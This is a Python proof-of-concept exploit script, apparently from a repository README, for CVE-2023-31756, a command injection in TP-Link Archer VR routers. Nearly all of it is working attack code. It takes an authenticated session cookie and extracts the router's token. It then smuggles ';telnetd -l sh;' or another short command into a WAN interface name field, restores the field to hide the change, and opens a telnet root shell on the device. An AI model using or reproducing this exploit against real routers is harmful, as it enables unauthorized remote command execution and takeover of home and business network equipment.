README.md
Rendering markdown...
import argparse
import requests
import re
import sys
import os
import time
#Print Header
print(" __ ___ ")
print(" / / ___ ___ ___ _/ _ )___ _ __")
print(" / /__/ _ \/ _ \/ _ `/ _ / _ \ |/|/ / >>>>>>>_____________________\`-._")
print("/____/\___/_//_/\_, /____/\___/__,__/ >>>>>>> /.-'")
print(" /___/ ")
print("CVE-2023-31756 Proof of Concept - Remote Code Execution for Archer V1/V2 Routers\n")
#Required arguments
parser = argparse.ArgumentParser()
parser.add_argument("--ip",type=str,help="The IP Address of the target to attack Example: 192.168.1.1", required=True)
parser.add_argument("--session",type=str,help="The value from the JSESSIONID Cookie of an authenticated request Example: ad27cb4adce1cad35a29e035b1f79c",required=True)
parser.add_argument("--proxy",type=str,help="The proxy address you want to use. Example: 127.0.0.1:8080 ",required=False)
parser.add_argument("--command",type=str,help="The command you want to run. < 13 chars. Example: uname -a (default telnet shell)",required=False)
args = parser.parse_args()
#Session Info
target = "http://"+args.ip
cookies = {'JSESSIONID':args.session}
global headers
headers = {'Referer':"http://192.168.1.1/"}
command = ";telnetd -l sh;"
if args.proxy:
proxies = {
'http': 'http://'+args.proxy,
'https': 'http://'+args.proxy
}
else:
proxies = {}
if args.command:
print("[*] Checking command length...")
if len(args.command) > 13:
print("\t[!] Command to be injected must be less than 13 characters! Current length: "+str(len(args.command)))
sys.exit()
else:
command = ";"+args.command+";"
wanInterface = "[WAN_IP_CONN#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n"
createWanObj = "[WAN_CONN_DEVICE#0,0,0,0,0,0#1,0,0,0,0,0]0,0\r\n"
createWan = "[WAN_PTM_LINK_CFG#1,1,0,0,0,0#0,0,0,0,0,0]0,4\r\nenable=1\r\nX_TP_Used=1\r\nX_TP_VlanEnabled=0\r\nX_TP_VID=0\r\n[WAN_IP_CONN#0,0,0,0,0,0#1,1,0,0,0,0]1,15\r\nMACAddressOverride=0\r\nNATEnabled=1\r\nX_TP_FullconeNATEnabled=0\r\nX_TP_IGMPProxyEnabled=1\r\nMaxMTUSize=1500\r\nDNSOverrideAllowed=0\r\nX_TP_Hostname=Archer_VR1600v\r\nX_TP_Unicast=0\r\nenable=1\r\nconnectionType=IP_Routed\r\naddressingType=DHCP\r\nX_TP_IPv4Enabled=1\r\nX_TP_IPv6Enabled=0\r\nX_TP_IPv6DNSOverrideAllowed=0\r\nX_TP_IPv6AddressingType=DHCPv6\r\n"
print("[*] Checking session information...")
url = target+"/"
resp = requests.get(url,cookies=cookies,headers=headers,proxies=proxies)
#Check Session
def checkSession():
if resp.status_code == 200 and "var token=" in resp.text:
print("\t[*] Session information appears valid!")
print("\t[*] Extracting token..")
for line in resp.text.splitlines():
if "var token=" in line:
token = line.split("=")[2][1:-22]
print("\t[*] Token: "+token)
global headers
headers = {'TokenID':token,'Referer':"http://192.168.1.1/"}
return True
else:
print("\t[!] Session information is not valid. Be sure to paste current JSESSIONID cookie value")
sys.exit()
#Clear Busy CGI Request
def clearBusy():
print("[*] Calling 'ClearBusy' script...")
url = target+"/cgi?8"
clearBusy = "[/cgi/clearBusy#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n"
resp = requests.post(url,cookies=cookies,headers=headers,data=clearBusy,proxies=proxies)
if resp.status_code == 200:
print("\t[*] ClearBusy successful")
else:
print("\t[i] ClearBusy script didn't appear successful, trying anyway...")
#Create new PTM interface
def createPTM():
#In case there are literally no interfaces...
url = target+"/cgi?3"
resp = requests.post(url,cookies=cookies,headers=headers,data=createWanObj,proxies=proxies)
url = target+"/cgi?2&3"
resp = requests.post(url,cookies=cookies,headers=headers,data=createWan,proxies=proxies)
if resp.status_code == 200 and "enable" in resp.text:
print("\t\t[*] Successfully created interface")
return True
else:
print("\t\t[!] Interface could not be created")
return False
#Read WAN Interface Objects
def readWANObjects():
print("[*] Reading configured WAN connection objects...")
url = target+"/cgi?5"
resp = requests.post(url,cookies=cookies,headers=headers,data=wanInterface,proxies=proxies)
if resp.status_code == 200 and "enable" in resp.text:
print("\t[*] Retrieved WAN Interface Objects")
else:
print("\t[!] Failed to retrieve WAN interfaces - are you targeting the correct model?")
sys.exit()
wanObjArray = list()
#print(resp.text)
for line in resp.text.splitlines():
#print("LINE: "+line)
match = re.search(r"\[(\d+(,\d+)*)\]", line)
if match:
wanObjArray.append(line)
print("\t[*] Number of WAN Objects configured: "+str(len(wanObjArray)))
print("\t[*] Searching for 'ptm' interface...")
interFaceNameArray = list()
for line in resp.text.splitlines():
if "X_TP_IfName" in line:
interFaceNameArray.append(line)
for i, item in enumerate(interFaceNameArray):
if "ptm0" in item:
matchIndex = i
print("[*] ptm Interface found!")
injectableObject = wanObjArray[i]
return injectableObject
print("\t[*] ptm Interface not found. Creating ptm interface...")
return False
def commandInjection(injObject):
print("[*] Perfoming command injection...")
url = target+"/cgi?2"
#retrieve object number from braces
injObject = injObject[1:-2]
commandInjectionObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,2"+"\r\nX_TP_IfName="+command+"\r\nenable=1\r\n"
restoreObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,1"+"""\r\nX_TP_IfName="ptm0.0"\r\n"""
resp = requests.post(url,cookies=cookies,headers=headers,data=commandInjectionObject,proxies=proxies)
if resp.status_code == 200 and "[error]0" in resp.text:
print("\t[*] Command injection appears successful.")
print("\t[*] Restoring interface name...")
resp = requests.post(url,cookies=cookies,headers=headers,data=restoreObject,proxies=proxies)
if resp.status_code == 200 and "[error]0" in resp.text:
print("\t[*] Object restored successfully")
else:
print("\t[i] Warning: Did not restore interface name - you can run the command again, but this will create a new interface. You can have a max of 7")
if ";telnetd -l sh;" in command:
print("\t[*] Launching admin shell in 10 seconds. If it doesn't appear, open a new CMD and type 'telnet 192.168.1.1'")
time.sleep(10)
osCMD = "telnet 192.168.1.1"
os.system(osCMD)
else:
print("\t[*] Access to serial console required to see output")
else:
print("\t[!] Command injection failed")
def main():
#Main function
validSess = checkSession()
time.sleep(2)
if validSess:
#Keep going
clearBusy()
time.sleep(2)
injectableObject = readWANObjects()
if injectableObject:
#Interface found - begin command injection
commandInjection(injectableObject)
else:
#Interface not found, create it!
success = createPTM()
if success:
#WAN interface created, recheck WAN objects
injectableObject = readWANObjects()
if injectableObject:
#interface found - begin command injection
commandInjection(injectableObject)
else:
sys.exit()
else:
print("[!] Could not locate ptm Interface even after successful creation. Perhaps there are too many WAN Interfaces (Max. 7) - try deleting some")
sys.exit()
else:
sys.exit()
if __name__ == "__main__":
main()